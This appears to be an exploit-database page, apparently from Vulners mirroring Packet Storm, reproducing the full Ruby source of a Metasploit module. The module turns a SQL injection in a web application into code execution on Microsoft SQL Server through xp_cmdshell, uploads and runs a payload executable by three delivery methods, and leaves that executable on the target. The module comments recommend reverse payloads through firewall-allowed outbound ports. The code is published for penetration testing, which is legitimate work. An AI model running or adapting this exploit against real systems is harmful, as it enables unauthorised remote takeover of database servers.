Lucene search
K

Microsoft SQL Server Payload Execution via SQL injection

🗓️ 29 Jan 2011 00:00:00Reported by Rodrigo MarcosType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 80 Views

Microsoft SQL Server Payload Execution via SQL injection. This module executes an arbitrary payload using xp_cmdshell. Three delivery methods are supported including Windows 'debug.com', Command Stager subsystem and PowerShell. A payload executable is left on the target system after the attack is finished

Related
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-2000-1209
12 Aug 200204:00
attackerkb
ATTACKERKB
CVE-2000-0402
30 May 200004:00
attackerkb
Circl
CVE-2000-0402
21 Dec 201000:00
circl
Circl
CVE-2000-1209
21 Dec 201000:00
circl
Check Point Advisories
MS-SQL Server Protocol - General Settings (CAN-2000-1209; CVE-2002-1123)
1 Feb 200500:00
checkpoint_advisories
CVE
CVE-2000-0402
12 Jul 200004:00
cve
CVE
CVE-2000-1209
10 Aug 200204:00
cve
Cvelist
CVE-2000-0402
12 Jul 200004:00
cvelist
Cvelist
CVE-2000-1209
10 Aug 200204:00
cvelist
Exploit DB
Microsoft SQL Server 2000 - User Authentication Remote Buffer Overflow
6 Aug 200200:00
exploitdb
Rows per page
`##  
# $Id: mssql_payload.rb 11392 2010-12-21 20:36:34Z jduck $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = AverageRanking  
  
include Msf::Exploit::Remote::MSSQL_SQLI  
include Msf::Exploit::CmdStagerVBS  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Microsoft SQL Server Payload Execution via SQL injection',  
'Description' => %q{  
This module will execute an arbitrary payload on a Microsoft SQL  
Server, using a SQL injection vulnerability.  
  
Once a vulnerability is identified this module  
will use xp_cmdshell to upload and execute Metasploit payloads.  
It is necessary to specify the exact point where the SQL injection  
vulnerability happens. For example, given the following injection:  
  
http://www.example.com/show.asp?id=1;exec xp_cmdshell 'dir';--&cat=electrical  
  
you would need to set the following path:  
set GET_PATH /showproduct.asp?id=1;[SQLi];--&cat=foobar  
  
In regard to the payload, unless there is a closed port in the web server,  
you dont want to use any "bind" payload, specially on port 80, as you will  
stop reaching the vulnerable web server host. You want a "reverse" payload, probably to  
your port 80 or to any other outbound port allowed on the firewall.  
For privileged ports execute Metasploit msfconsole as root.  
  
Currently, three delivery methods are supported.  
  
First, the original method uses Windows 'debug.com'. File size restrictions are  
avoidied by incorporating the debug bypass method presented by SecureStat at  
Defcon 17. Since this method invokes ntvdm, it is not available on x86_64 systems.  
  
A second method takes advantage of the Command Stager subsystem. This allows using  
various techniques, such as using a TFTP server, to send the executable. By default  
the Command Stager uses 'wcsript.exe' to generate the executable on the target.  
  
Finally, ReL1K's latest method utilizes PowerShell to transmit and recreate the  
payload on the target.  
  
NOTE: This module will leave a payload executable on the target system when the  
attack is finished.  
  
},  
'Author' =>  
[  
'David Kennedy "ReL1K" <kennedyd013[at]gmail.com>', # original module, debug.exe method, powershell method  
'jduck', # command stager mods  
'Rodrigo Marcos' # SQL injection mods  
],  
'License' => MSF_LICENSE,  
'Version' => '$Revision: 11392 $',  
'References' =>  
[  
# 'sa' password in logs  
[ 'CVE', '2000-0402' ],  
[ 'OSVDB', '557' ],  
[ 'BID', '1281' ],  
  
# blank default 'sa' password  
[ 'CVE', '2000-1209' ],  
[ 'OSVDB', '15757' ],  
[ 'BID', '4797' ],  
  
# code and comments  
[ 'URL', 'http://www.secforce.co.uk/blog/2011/01/penetration-testing-sql-injection-and-metasploit/' ]  
  
],  
'Platform' => 'win',  
'Payload' =>  
{  
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c&=+?:;-,/#.\\\$\%",  
},  
'Targets' =>  
[  
[ 'Automatic', { } ],  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'May 30 2000'  
))  
register_options(  
[  
OptBool.new('VERBOSE', [ false, 'Enable verbose output', false ]),  
OptString.new('DELIVERY', [ true, 'Which payload delivery method to use (ps, cmd, or old)', 'old' ])  
])  
end  
  
# This is method required for the CmdStager to work...  
def execute_command(cmd, opts)  
mssql_xpcmdshell(cmd, datastore['VERBOSE'])  
end  
  
def exploit  
  
method = datastore['DELIVERY'].downcase  
  
if (method =~ /^cmd/)  
execute_cmdstager({ :linemax => 1500, :nodelete => true })  
#execute_cmdstager({ :linemax => 1500 })  
else  
# Generate the EXE, this is the same no matter what delivery mechanism we use  
exe = generate_payload_exe  
  
# Use powershell method for payload delivery if specified  
if (method =~ /^ps/) or (method =~ /^power/)  
powershell_upload_exec(exe)  
else  
# Otherwise, fall back to the old way..  
mssql_upload_exec(exe, datastore['VERBOSE'])  
end  
end  
print_status("Almost there, the stager takes a while to execute. Waiting 50 seconds...")  
select(nil,nil,nil,50)  
handler  
disconnect  
end  
  
  
end  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation